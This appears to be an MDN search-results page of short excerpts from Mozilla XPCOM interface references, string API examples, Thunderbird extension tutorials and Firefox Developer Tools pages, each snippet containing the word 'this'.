this method triggers the "xpcom-shutdown" notification to be dispatched to observers.
... once
this function has been called, the nsicomponentmanager and nsiservicemanager will refuse to return object instances.
... history
this function was finalized for mozilla 0.9.6.
nsDependentCSubstring
call
this version when you know the length of 'data'.
...call
this version when 'data' is null-terminated.
... @see nstsubstring::isvoid parameters prbool <anonymous> stripchar void stripchar(char, print32) - source
this method is used to remove all occurrences of achar from
this string.
... @param achar -- char to be stripped @param aoffset -- where in
this string to start stripping chars parameters char achar print32 aoffset ...
nsDependentSubstring
call
this version when you know the length of 'data'.
...call
this version when 'data' is null-terminated.
... @see nstsubstring::isvoid parameters prbool <anonymous> stripchar void stripchar(prunichar, print32) - source
this method is used to remove all occurrences of achar from
this string.
... @param achar -- char to be stripped @param aoffset -- where in
this string to start stripping chars parameters prunichar achar print32 aoffset ...
nsEmbedCString
nsembedcstring(); explicit nsembedcstring( const self_type& astring ); parameters astring [in] a nsembedcstring to copy into
this string.
... nsembedcstring( const abstract_string_type& aabstractstring ); parameters aabstractstring [in] a nsacstring to copy into
this string.
... explicit nsembedcstring( const abstract_string_type& aabstractstring ); parameters aabstractstring [in] a nsacstring to copy into
this string.
... explicit nsembedcstring( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into
this string.
nsEmbedString
nsembedstring(); explicit nsembedstring( const self_type& astring ); parameters astring [in] a nsembedstring to copy into
this string.
... nsembedstring( const abstract_string_type& aabstractstring ); parameters aabstractstring [in] a nsastring to copy into
this string.
... explicit nsembedstring( const abstract_string_type& aabstractstring ); parameters aabstractstring [in] a nsastring to copy into
this string.
... explicit nsembedstring( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into
this string.
IAccessibleRelation
other-licenses/ia2/accessiblerelation.idlnot scriptable
this interface gives access to an object's set of relations.
...ntargets() returns the number of targets() for
this relation.
...[propget] hresult relationtype( [out] bstr relationtype ); parameters relationtype the strings returned are defined @ref grprelations "in
this section of the documentation".
...note that
this array is to be allocated by the client and freed when no longer needed.
IAccessibleTable2
other-licenses/ia2/accessibletable2.idlnot scriptable
this interface gives access to a two-dimensional table.
...
this object could be an iaccessible or an iaccessible2.
...
this data is only guaranteed to be valid while the thread notifying the event continues.
...servers should document their life cycle strategy as
this will be of interest to assistive technology or script engines accessing data out of process or from other threads.
imgIDecoder
inherits from: nsisupports last changed in gecko 1.7
this interface is the base class for decoders for specific image formats.
...
this object also implements the imgidecoderobserver interface; you should queryinterface() it to that interface and call its notification methods while handling the decode operation.
... implementer's note:
this method is defined by
this interface in order to let the output stream efficiently copy the data from the input stream into its internal buffer (if any).
... if
this method was provided as an external facility, a separate char * buffer would need to be used in order to call the output stream's other write() method.
mozIAsyncHistory
toolkit/components/places/moziasynchistory.idlscriptable
this interface allows you to add multiple visits to a single url in a batch.
... acallback an object implementing the mozivisitedstatuscallback.isvisited() method;
this method will be called with the results once the request has been completed.
... note that
this lets you add to history even in private browsing mode; if that's not desired you can first check whether the window is in private browsing mode.
...
this can be a single object, or an array of objects.
nsIAccessibleHyperText
accessible/public/nsiaccessiblehypertext.idlscriptable
this interface is the main interface to expose hyperlinks in a document, typically a text document, that are used to reference other documents.
... a typical implementation is to implement
this interface on the small text object such as a paragraph of text.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview nsiaccessiblehyperlink getlink(in long linkindex); long getlinkindex(in long charindex); long getselectedlinkindex(); obsolete since gecko 1.9 attributes attribute type description linkcount long the number of links contained within
this hypertext object.
...
this can be retrieved via getlinkindex().
nsIApplicationCacheChannel
netwerk/base/public/nsiapplicationcachechannel.idlscriptable
this interface is implemented by communication channels that support application caches.
...
this attribute will not be transferred through a redirect.
...
this value may be false even if the resource is assigned to an application cache if, for example, it was loaded as a fallback.
... methods markofflinecacheentryasforeign() a shortcut method to mark the cache item of
this channel as 'foreign'.
nsICacheEntryInfo
netwerk/cache/nsicachevisitor.idlscriptable
this interface provides information about a cache entry.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean isstreambased(); attributes attribute type description clientid string get the client id associated with
this cache entry.
... deviceid string get the id for the device that stores
this cache entry.
... methods isstreambased()
this method finds out whether or not the cache entry is stream based.
nsIContentPrefService2
this interface doesn't impart any special significance to global preferences; they're simply name-value pairs that aren't associated with any particular domain.
... as a consumer of
this interface, you might choose to let a global preference override all non- global preferences of the same name, for example, for whatever definition of "override" is appropriate for your use case.
... domain parameters many methods of
this interface accept a "domain" parameter.
...
this parameter relates to private browsing and determines the kind of storage that a method uses, either the usual permanent storage or temporary storage set() aside for private browsing sessions.
nsIContentSniffer
components implementing
this interface can determine a mime type from a chunk of bytes.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to implement
this interface use net-content-sniffers category.
...acstring getmimetypefromcontent( in nsirequest arequest, [const,array,size_is(alength)] in octet adata, in unsigned long alength ); parameters arequest the request where
this data came from.
... let charset = "iso-8859-1"; try { //
this pref has been removed, see bug 910192 charset = services.prefs.getcomplexvalue("intl.charset.default", ci.nsipreflocalizedstring).data; } catch (e) { } let conv = cc["@mozilla.org/intl/scriptableunicodeconverter"] .createinstance(ci.nsiscriptableunicodeconverter); conv.charset = charset; try { let str = conv.convertfrombytearray(adata, alength); if (str.substring(0, 5) == "%pdf-") return "application/pdf"; // we detected a pdf file ...
nsIController
inherits from: nsisupports last changed in gecko 1.7 method overview void docommand(in string command); boolean iscommandenabled(in string command); void onevent(in string eventname); boolean supportscommand(in string command); methods docommand() when
this method is called, your implementation should execute the command with the specified name.
... iscommandenabled() implement
this method to indicate whether or not the specified command is enabled.
...onevent() implement
this method to process the event with the specified name.
... supportscommand() implement
this method to report whether or not the command with the specified name is supported.
nsIConverterInputStream
this allows reading unicode strings from a stream, automatically converting the bytes from a selected character encoding.
... methods init() initialize
this stream.
...
this is currently set to 8192 bytes.
... areplacementchar any unknown byte sequence will be replaced with
this character.
nsIDBFolderInfo
wn missing exception missing description getcharptrproperty() string getcharptrproperty( in string propertyname ); parameters propertyname missing description return value missing description exceptions thrown missing exception missing description native code only!getlocale obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)
this feature is obsolete.
...void getlocale( in nsstring result ); parameters result missing description exceptions thrown missing exception missing description native code only!getmailboxname obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)
this feature is obsolete.
... missing exception missing description sethighwater() void sethighwater( in nsmsgkey highwater, in boolean force ); parameters highwater missing description force missing description exceptions thrown missing exception missing description native code only!setlocale obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)
this feature is obsolete.
...void setlocale( in nsstring locale ); parameters locale missing description exceptions thrown missing exception missing description native code only!setmailboxname obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)
this feature is obsolete.
nsIDOMGeoPositionAddress
dom/interfaces/geolocation/nsidomgeopositionaddress.idlscriptable
this interface describes the geographical address of a location, including street, city, and country information, for example.
...
this information may or may not be available, depending on the geolocation service being used.
... 1.0 66 introduced gecko 1.9.2 obsolete gecko 14.0 inherits from: nsisupports last changed in gecko 11 (firefox 11 / thunderbird 11 / seamonkey 2.8)
this object is obtained from an nsidomgeopositionaddress object via its address attribute.
... note:
this needs to be moved into the dom reference.
nsIDOMParser
to create a domparser when the constructor is not available (e.g., from a js xpcom component, a js module, or an xpcshell test), use: var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); // optionally, call parser.init(principal, documenturi, baseuri); principals, document and base uri note:
this section covers changes introduced to domparser in gecko 1.9.
... (
this section is only relevant to firefox extensions--not to web content.) to create a document, the parser needs to specify a principal (see security check basics), a base uri (see document.baseuriobject), and a documenturi.
...if you come across a situation when these matter, feel free to ask questions in mozilla.dev.tech.dom and update
this documentation to mention these cases.
... the first parameter is the principal to use;
this overrides the default principal normally inherited.
nsIDOMStorageItem
dom/interfaces/storage/nsidomstorageitem.idlscriptable
this interface represents an object in dom storage.
...
this is for session storage.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) gecko 1.9.1 note starting in gecko 1.9.1 (firefox 3.5),
this is only used for session storage; previously, it was also used for global storage.
...as such,
this attribute is irrelevant for storage that is bound to an origin.
nsIDirIndex
because
this has no reference back to their original source, changing these attributes won't affect the directory.
...if the last modified time is unknown,
this value is -1.
...
this is encoded with the encoding specified in the nsidirindexparser, and is also escaped.
... size long long file size; if the size is unknown,
this value is -1.
nsIDirectoryService
xpcom/io/nsidirectoryservice.idlscriptable
this interface provides methods to initialize and configure a directory service instance.
... the xpcom directory service implements
this interface to provide support for a variety of well-known file and directory locations.
...
this method must be called before an nsidirectoryservice instance can be used.
... in the case of the xpcom directory service,
this method is called as part of xpcom initialization.
nsIDroppedLinkHandler
dom/base/nsidroppedlinkhandler.idlscriptable please add a summary to
this article.
...
this check includes any parent, sibling and child frames in the same content tree.
...
this will occur if the source of the drag initiated a link for dragging that it itself cannot access.
...
this prevents a source document from tricking the user into a dragging a chrome url for example.
nsIException
xpcom/base/nsiexception.idlscriptable please add a summary to
this article.
...
this is the location that caused the error, which may or may not be a source file location.
... inner nsiexception an inner exception that triggered
this, if available.
... result nsresult the nsresult associated with
this exception.
nsIExternalHelperAppService
to access
this service, use: var externalhelperappservice = components.classes["@mozilla.org/uriloader/external-helper-app-service;1"] .getservice(components.interfaces.nsiexternalhelperappservice); method overview boolean applydecodingforextension(in autf8string aextension, in acstring aencodingtype); nsistreamlistener docontent(in acstring amimecontenttype, in nsirequest arequest, in nsiinterfacerequestor awin...
...when the onstoprequest is issued, the stream listener implementation will launch the helper app with
this data.
... awindowcontext use nsiservicemanager.getinterface() to retrieve properties like the dom window or parent window; the service might need
this in order to bring up dialogs.
... aforcesave true to always save
this content to disk, regardless of nsimimeinfo and other such influences.
nsIFeedEntry
toolkit/components/feeds/public/nsifeedentry.idlscriptable
this interface describes a single entry in an rss or atom news feed, providing attributes allowing access to the entry's data.
...
this comes from the atom:content and/or content:encoded fields.
...
this date is parsable by both javascript (via date.parse()) and mail code.
...
this is generated automatically using the entry's description, subtitle, summary, content, and appropriate extensions.
nsIFeedResult
toolkit/components/feeds/nsifeedresult.idlscriptable
this interface provides access to http and parsing metadata for a feed or entry.
...some feeds include
this information in a processing instruction.
...
this value will be one of the following: atom, rss2, rss09, rss091, rss091userland, rss092, rss1, atom03, atomentry, rssitem methods registerextensionprefix() registers a prefix for a namespace used to access an extension in the feed or entry.
... warning:
this method is not implemented at
this time.
nsIFileStreams
netwerk/base/public/nsifilestreams.idlscriptable please add a summary to
this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constants value description delete_on_close 1<<1 if
this is set, the file will be deleted by the time the stream is closed.
... close_on_eof 1<<2 if
this is set, the file will close automatically when the end of the file is reached.
... reopen_on_rewind 1<<3 if
this is set, the file will be reopened whenever seek(0) occurs.
nsIFrameLoaderOwner
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview [noscript, notxpcom] alreadyaddrefed_nsframeloader getframeloader(); void swapframeloaders(in nsiframeloaderowner aotherowner); attributes attribute type description frameloader nsiframeloader the frame loader owned by
this nsiframeloaderowner.
... methods getframeloader() returns the frame loader object owned by
this object.
...return value the nsiframeloader owned by
this object.
...
this may only be possible in a very limited set of circumstances, or never, depending on the object implementing
this interface.
nsIFrameMessageListener
content/base/public/nsimessagemanager.idlscriptable implement
this interface in a remote frame handling process to receive messages from the browser process.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this interface is used when implementing out-of-process handling of frames; the process handling a frame should implement
this interface in order to receive messages.
... method overview void receivemessage(); methods receivemessage() note:
this method is for javascript only.
... when the listener is called, the
this value is the target of the message.
nsIFrameMessageManager
this provides a way for local frames to receive messages from remote frames.
... 1.0 66 introduced gecko 2.0 obsolete gecko 17.0 inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14)
this interface is obsolete and was removed in firefox 17.
...
this listener will receive messages sent from the remote frame.
...
this parameter only has an effect for frame message managers in the main process.
nsIHTTPHeaderListener
modules/plugin/base/public/nsihttpheaderlistener.idlscriptable
this interface allows plugin authors to access http response headers after issuing an nsipluginhost.geturl or nsipluginhost.posturl call.
...
this instance is passed in through {geturl,posturl}()'s streamlistener parameter.
... the browser will then qi
this streamlistener to see if it implements nsihttpheaderlistener.
...note: you must copy
this value.
nsIIDNService
netwerk/dns/nsiidnservice.idlscriptable
this interface provides support for internationalized domain names, including methods for manipulating idn hostnames according to ietf specification.
...
this combines two operations: running the rfc 3490 "tounicode" operation on the original string, then converting the resulting unicode string into utf-8 format.
...isascii on return,
this is set to true if the result is ascii or ace encoded; otherwise it's false.
...
this is useful if you need to normalize a hostname separately from converting it to display format.
nsIINIParser
examples getting a value for a key
this example provides a function you can call to obtain the value for a specific key in a given ini file.
...ini sections are * defined by square brakets and look like
this: [settings] * all entries below such a section definition belong to that * section (until the next section).
...) { var inifact = components.manager.getclassobjectbycontractid( "@mozilla.org/xpcom/ini-parser-factory;1", components.interfaces.nsiiniparserfactory ); var iniparser = inifact.createiniparser(inifile); try { return iniparser.getstring(section,prop); } catch(e) { return undefined; } } // usage: var lang = getinivalue(file,"setting","language"); enumerating sections
this example gets a list of all the sections in the ini file.
... // get all sections in the ini file var sectenum = iniparser.getsections(); // save the sections in an array var sections = []; while (sectenum && sectenum.hasmore()) { var section = sectenum.getnext(); // add an array entry for each section sections.push(section); } enumerating keys
this example shows how to fetch the values for all the keys in the section named "setting".
nsIJSID
js/src/xpconnect/idl/xpcjsid.idlscriptable
this interface provides information about a contract or interface.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the following methods return objects that implement
this interface: components.interfaces.name components.classes[contract] components.interfacesbyid[uuid] components.classesbyid[cid] the first two cases create a named jsid while the last two cases create an unnamed jsid.
... methods equals()
this method determines if
this nsijsid has the same nsid as another nsijsid.
... tostring()
this methods returns a string representation of the object.
nsIMessageBroadcaster
methods void broadcastasyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects); nsimessagelistenermanager getchildat(in unsigned long aindex); broadcastasyncmessage() like sendasyncmessage(), but also broadcasts
this message to all "child" message managers of
this message manager.
...
this becomes the name property of the received message.
... a structured clone of
this becomes the data property of the received message.
...
this becomes the objects property of the received message, with each original object replaced with a cross process object wrapper for it.
nsIScriptableUnicodeConverter
this legacy api represents binary data using the lower haft of each 16-bit code unit in a javascript string.
... if the other apis you are reading data from or writing data to don't require you to use
this legacy representation, you should use textdecoder and textencoder (available to chrome javascript via components.utils.importglobalproperties) instead of
this api.
... intl/uconv/idl/nsiscriptableuconv.idlscriptable
this interface is a unicode encoder for use by scripts.
...after converting, finish should be called and its return value appended to
this return value.
nsIScrollable
/docshell/base/nsiscrollable.idlscriptable
this interface can be implemented by a control that supports scrolling.
...
this is a generic interface without concern for the type of content that may be inside.
...when passing
this in to a method you are requesting or setting data for the horizontal scrollbar.
...when passing
this in to a method you are requesting or setting data for the vertical scrollbar.
nsISimpleEnumerator
xpcom/ds/nsisimpleenumerator.idlscriptable
this interface represents an enumeration of xpcom objects and provides methods to access elements sequentially.
...
this method is generally called within a loop to iterate over the elements in the enumerator.
...
this method is generally used to determine whether or not to initiate or continue iteration over the enumerator, though it can be called without subsequent getnext() calls.
...remarks
this interface was frozen for gecko 0.9.6.
nsISpeculativeConnect
netwerk/base/public/nsispeculativeconnect.idlscriptable lets non-networking code provide hints to the networking layer that an http connection attempt to a particular site is likely to happen soon;
this lets the networking layer begin setting up tcp and, if appropriate, ssl handshakes to save time when the connection is actually opened later.
... 1.0 66 introduced gecko 15.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) to use
this service, simply call nsisupports.queryinterface() on the nsiioservice you plan to use for the connection, to get access to the i/o service's implementation of nsispeculativeconnect.
...method overview void speculativeconnect(in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget); methods speculativeconnect() call
this method to hint to the networking layer that a new transaction for the specified uri is likely to happen soon.
... the code implementing
this method may use
this information to start a tcp and/or ssl level handshake for that resource immediately so that it is ready (or at least in the process of becoming ready) when the transaction is actually submitted.
nsIStackFrame
xpcom/base/nsiexception.idlscriptable please add a summary to
this article.
...
this is the location that caused the error, which may or may not be a source file location.
... name string the name of the function at
this point in the stack.
... sourceline string the location of
this function in filename read only.
nsIStreamConverter
you could implement
this interface to allow everyone else to use your conversion logic using a standard api.
...stream converter contractid format (the stream converter root key is defined in
this file): @mozilla.org/streamconv;1?from=from_mime_type&to=to_mime_type method overview void asyncconvertdata(in string afromtype, in string atotype, in nsistreamlistener alistener, in nsisupports actxt); nsiinputstream convert(in nsiinputstream afromstream, in string afromtype, in string atotype, in nsisupports actxt); methods asyncconvertdata() asynchronous version: conver...
...use
this method when you want to proxy (and convert) nsistreamlistener callbacks asynchronously.
...use
this method when you have a stream you want to convert.
nsIStringBundle
intl/strres/nsistringbundle.idlscriptable
this interface provides functions for retrieving both formatted and unformatted strings from a properties file.
... inherits from: nsisupports last changed in gecko 1.7
this interface is used by xul:stringbundle to retrieve strings.
...
this uses nstextformatter::smprintf.
...
this uses nstextformatter::smprintf to do the dirty work.
nsIStringBundleService
to access
this service, use: var stringbundleservice = components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice); method overview nsistringbundle createbundle(in string aurlspec); nsistringbundle createextensiblebundle(in string aregistrykey); void flushbundles(); wstring formatstatusmessage(in nsresult astatus, in wstring astatusarg); methods createbundle() nsistringbundle createbundle( in ...
...
this is typically a locale url, e.g.
...
this string bundle has functions available on it.
...
this is mapped into a string id and and used in the string lookup process (see nsierrorservice).
nsIThreadManager
xpcom/threads/nsithreadmanager.idlscriptable please add a summary to
this article.
... ismainthread boolean
this attribute is true if the calling thread is the main thread of the application process.
... methods native code only!getthreadfromprthread given a prthread,
this method returns the corresponding nsithread.
...internally,
this is a global user prthread.
nsIThreadPool
once there are more than
this many idle worker threads, the idle threads start getting destroyed.
... threadlimit unsigned long the maximum number of threads allowed at once in the pool; you may change
this value by altering
this attribute.
... you must not call
this method from any thread within the thread pool.
... when
this method returns, the thread pool and all its threads will have been shut down, and it is no longer be possible to dispatch events to the thread pool.
nsIUTF8StringEnumerator
xpcom/ds/nsistringenumerator.idlscriptable an object can implement
this interface to allow a client to iterate over a set of strings provided by the object.
...
this method is generally called within a loop to iterate over the strings in the enumerator.
...
this method is generally used to determine whether or not to initiate or continue iteration over the enumerator, athough it can be called without subsequent getnext() calls.
... calling
this method doesn't affect the internal state of the enumerator.
nsIUpdatePatch
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface that describes an object representing a patch file that can be downloaded and applied to a version of
this application so that it can be updated.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsidomelement serialize(in nsidomdocument updates); attributes attribute type description finalurl astring the final url
this patch was being downloaded from.
... selected boolean true if
this patch is currently selected as the patch to be downloaded and installed for
this update transaction.
... state astring the state of
this patch.
nsIWebBrowserChrome2
this method may be called instead of nsiwebbrowserchrome.setstatus().
... an implementor of
this method, should still implement nsiwebbrowserchrome.setstatus().
...if statustype is status_link, then
this may be a dom node corresponding to the source of the link.
...
this value can be null if there is no context.
nsIWebBrowserFindInFrames
once the search is done,
this will be set to be the last frame searched, whether or not a result was found.
...set
this to only search a subtree of the frame hierarchy.
...setting nsiwebbrowserfind.searchframes to true sets
this to true.
...setting nsiwebbrowserfind.searchframes to true sets
this to true.
nsIWebNavigationInfo
note:
this is guaranteed not to change, so that boolean tests can be done on the return value if istypesupported to detect whether a type is supported at all.
...
this is not the value returned for "xpcom plug-ins".
...
this lets you determine whether a mime type can be displayed as-is inside a browser, or if the browser will instead forward handling of the data to a plug-in or an external helper application.
... note:
this method may cause plug-ins to be rescanned in order to ensure they are properly registered for the types they support.
nsIWebSocketListener
netwerk/protocol/websocket/nsiwebsocketlistener.idlscriptable implement
this interface to receive websocket traffic events asynchronously after calling nsiwebsocketchannel.asyncopen().
...in the case of errors, onstop() may be called without
this method ever getting called.
...
this is the final notification the listener will receive; once it's been received, the websocket connection is complete.
...
this event can be received in error cases even if nsiwebsocketchannel.close() has not been called.
nsIZipEntry
content/base/public/nsidomserializer.idlscriptable please add a summary to
this article.
... issynthetic boolean use
this attribute to determine whether
this item is an actual zip entry or is one synthesized for part of a real entry's path.
...if the zip file contains an actual entry for a directory,
this attribute will be false for the nsizipentry for that directory.
... lastmodifiedtime prtime the time at which
this item was last modified.
NS_CStringAppendData
this is a low-level api.
... adata [in] a raw character array to copy into
this string.
... remarks
this function is defined inline as a wrapper around ns_cstringsetdatarange.
... example nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello"); ns_cstringappenddata(str, " world"); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello world" ns_cstringcontainerfinish(str); history
this function was frozen for mozilla 1.7.
NS_CStringCopy
this is a low-level api.
... remarks
this function is designed to allow the implementation to efficiently assign the same value to two string objects.
... the implementation may employ reference counting techniques to optimize
this operation.
... example /* attribute acstring value; */ ns_imethodimp mycomponent::getvalue(nsacstring& avalue) { return ns_cstringcopy(avalue, mvalue); } ns_imethodimp mycomponent::setvalue(const nsacstring& avalue) { return ns_cstringcopy(mvalue, avalue); } history
this function was frozen in mozilla 1.7.
NS_CStringInsertData
this is a low-level api.
...adata [in] a raw character array to copy into
this string.
... remarks
this function is defined inline as a wrapper around ns_cstringsetdatarange.
... example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello"); ns_cstringinsertdata(str, 5, " world"); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello world" ns_cstringcontainerfinish(str); history
this function was frozen for mozilla 1.7.
NS_StringCopy
this is a low-level api.
... remarks
this function is designed to allow the implementation to efficiently assign the same value to two string objects.
... the implementation may employ reference counting techniques to optimize
this operation.
... example code /* attribute acstring value; */ ns_imethodimp mycomponent::getvalue(nsastring& avalue) { return ns_stringcopy(avalue, mvalue); } ns_imethodimp mycomponent::setvalue(const nsastring& avalue) { return ns_stringcopy(mvalue, avalue); } history
this function was frozen for mozilla 1.7.
Warnings
this page is designed to help explain the cause and possible solutions for these warnings.
... sort operations
this warning message will say something about the number of sort operations that have occurred for a sql statement.
...
this happens when you have an order by clause that does not use an index.
...if, for some reason you cannot use an index in your order by clause, you can suppress
this warning by including a sql comment in your query that contains
this text: /* do not warn (bug [everything in these brackets does not matter] */ the bug mentioned should explain why the query cannot use an index.
XPCOM Thread Synchronization
this is no accident, as mozilla:: primitives are merely bare-minimum wrappers around nspr's.
...
this article covers the api of mozilla synchronization only.
...quick reference: difference between nsautolock api and new api old construction note:
this is deprecated code that is shown only to compare with approved code.
... } old usage note:
this is deprecated code that is shown only to compare with approved code.
Using nsCOMPtr
this document is the sum total of everything written down about nscomptr.
... if you have a question about nscomptr, and
this document doesn't answer it, there probably isn't a document that answers it.
...after you've been using nscomptrs for a while, and you reach unfamiliar territory, or run into compiler errors; you may want to return to
this document to get help from the reference manual or the faq.
...portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
XPCOM ABI
only applications which use
this abi could use
this xpcom component.
... note: platforms
this is not an exhaustive list of possible cpu architectures and compiler abis.
...(
this is an internals detail and should be of no concern to an extension developer.) extension installation when the application (e.g.
...later on, it could use
this value to check compatibility with third-party binary xpcom components.
XPCOM ownership guidelines
such a function is the perfect example of something that creates an object with a longer lifespan that itself, and gives away ownership (by producing a pointer that is already addrefed) --- in
this case, to the caller.
...
this is terrific for factory functions, but can be problematic for mere getters.
...
this may not be appropriate; and it may be hard to remedy without knowing if the object in question was truly created in response to your query.
...portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
XPIDL Syntax
status of
this document
this is a partial reverse-engineering of the libidl source code's parser, limited mostly to the subset of functionality that is supported by the mozilla xpidl binary.
... purpose of
this document
this document is not an introduction to xpidl or idl in general.
...
this may be followed by the language, as in `%{c++', to output the raw fragment only in the specified language.
...unlike the c preprocessor, when a file is included multiple times, it acts as if the subsequent includes did not happen;
this prevents the need for include guards.
Testing Mozilla code
asan nightly projectthe asan nightly project involves building a firefox nightly browser with the popular addresssanitizer tool and enhancing it with remote crash reporting capabilities for any errors detected.clang static analysis
this document is split in two parts.
... the first part will focus on the modern and robust way of static-analysis and the second part will present the build-time static-analysis.debugging mozilla with valgrind
this page describes how to use valgrind (specifically, its memcheck tool) to find memory errors.firefox and address sanitizeraddress sanitizer (asan) is a fast memory error detector that detects use-after-free and out-of-bound bugs in c/c++ programs.
...
this type of coverage is only concerned with hit counts for lines and branches.the valgrind test jobthe valgrind test job builds the browser and runs it under valgrind, which can detect various common memory-related errors.
...
this job only runs on linux64, which is the platform best suited to running valgrind.
Mailnews and Mail code review requirements
this document describes the process for reviewing patches to the mozilla/mailnews and mozilla/mail directories.
...(a fair amount of
this code is forked from code in the mailnews/ directory).
... getting early ui-reviews
this reduces the chance that work is rejected due to needing further user experience changes, and hence is aimed at saving time for the developer and reviewers.
... rubber-stamp approvals for intermittently failing ("orange") test fixes/debugging in order to make it easier to debug and fix tests that fail intermittently ("intermittent orange" tests), we have created the following two rubber-stamps based on
this proposal on the tb-planning mailing list.
Building a Thunderbird extension 6: Adding JavaScript
warning:
this content is for older versions of thunderbird.
... in
this step we will create a small piece of javascript code that inserts the current date into our statusbar widget.
...depending on the installed theme the result will look something like
this: modify xul elements with javascript save the following javascript code into the content/ folder next to your myhelloworld.xul file and name it overlay.js.
...
this allows us to call the startup function repeatedly with an interval of 60000ms (every minute).
Finding the code for a feature
as an example, i received the following inquiry, and i decided to follow my usual path and document what i do: hello i would like to add colours and tags to specific emails...by using nsimsgtagservice, can
this be done?
...i keep two prominent links to
this on my firefox toolbar, one to comm-central string search, and one to comm-central file search.
... so, how did i use those to figure out how to do
this?
...repeating
this process, i see that the submenu items all call a function togglemessagetagmenu.
Using tab-modal prompts
note:
this part of the documentation is outdated.
...only the window.alert() method gets
this by default; you get
this by default.
...you can force a prompt to be tab-modal using code like
this: var thewindow = gbrowser.contentwindow; let prompt = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory) .getprompt(thewindow, components.interfaces.nsiprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window.
...aces.nsiwritablepropertybag2); promptbag.setpropertyasbool('allowtabmodal', true); var check = {value: false}; //initial state of checkbox, however if no text is supplied the checkbox is not shown var input = {value: 'pre filled value'}; var ok = prompt.prompt.apply(null, ['title - but not shown in tab modal', 'text goes here', input, 'check text, if no text, checkbox is not shown', check]); //
this here is just an alert, showing the values of the prompt prompt.alert.apply(null, ['title not shown in modal', 'user clicked ok: ' + ok + '\n' + 'checked: ' + check.value + '\ninput value: ' + input.value]); note: because the prompts are shown in a tab, if the tab is closed while the prompt is open it will throw an exception.
Working with ArrayBuffers
introductory reading the pointer types section of the type conversion page explains the fundamentals of
this operation.
...
this feature is based on the following work: //github.com/realityripple/uxp/blob/master/js/src/ctypes/ctypes.cpp#3080 //github.com/realityripple/uxp/blob/master/js/src/vm/arraybufferobject.cpp#1301 example 1 - image data the following example illustrates how to transfer a byte array pointed by ctypes.uint8_t.ptr to imagedata of canvas.
...
this example is based on the fact that the imagedata returned from canvasrenderingcontext2d.getimagedata is a uint8clampedarray view for an arraybuffer.
... method 3: transfer byte array by calling memcpy
this is the recommended method, as it only takes a couple of milliseconds, even for large arrays.
Debugger-API - Firefox Developer Tools
(firefox’s builtin tools have a protocol defined for
this purpose.) in gecko, the debugger api is available to chrome code only.
...
this is not inherent in the api’s design, but simply that the self-hosting infrastructure isn’t prepared for the kind of invasions the debugger api can perform.
... here is a javascript program in the process of running a timer callback function: a running javascript program and its debugger shadows
this diagram shows the various types of shadow objects that make up the debugger api (which all follow some general conventions): a debugger.object represents a debuggee object, offering a reflection-oriented api that protects the debugger from accidentally invoking getters, setters, proxy traps, and so on.
... omitted from
this picture are debugger.source instances, which represent javascript compilation units.
Deprecated tools - Firefox Developer Tools
we have created
this list of deprecated or removed panels.
...
this page documents the deprecated panels and the bugs that track their removal.
...
this gave a high-level view of its operation, and enabled you to ensure that all the nodes are connected in the way you expect.
... more details about the shader editor alternatives an alternative to
this panel is
this extension: https://github.com/spite/shadereditorextension, or spector.js also supports a shader editor that requires a library to use a shader reloader hook.
Paint Flashing Tool - Firefox Developer Tools
with the help of
this tool you can figure out whether your website is causing the browser to repaint more than it needs to.
...
this can then cause a site to be slow responding to user input (also known as "janky").
...after moving the mouse around and scrolling a bit, the above page looks like
this: in
this example, there are two main sources of repaints: moving the mouse over links makes the browser repaint them, because they have a style applied using the :hover pseudo-class scrolling makes the browser repaint the new part of the page coming into view at the bottom of the screen, and also the scrollbar at the top-right to deactivate paint flashing, click the "highlight painted area" icon in ...
... in
this case, with a simple style, the extra repaints don't make much of a difference.
Frame rate - Firefox Developer Tools
for example, if moving the mouse over some page element triggers some javascript that changes the element's appearance, and that triggers a reflow and a repaint, then all
this work needs to be completed in that frame.
...it takes a timestamp when the browser finishes a frame, and uses
this to keep track of the frame rate over the course of the recording.
...
this would certainly cause a noticeable stutter for any animations that were playing in the page.
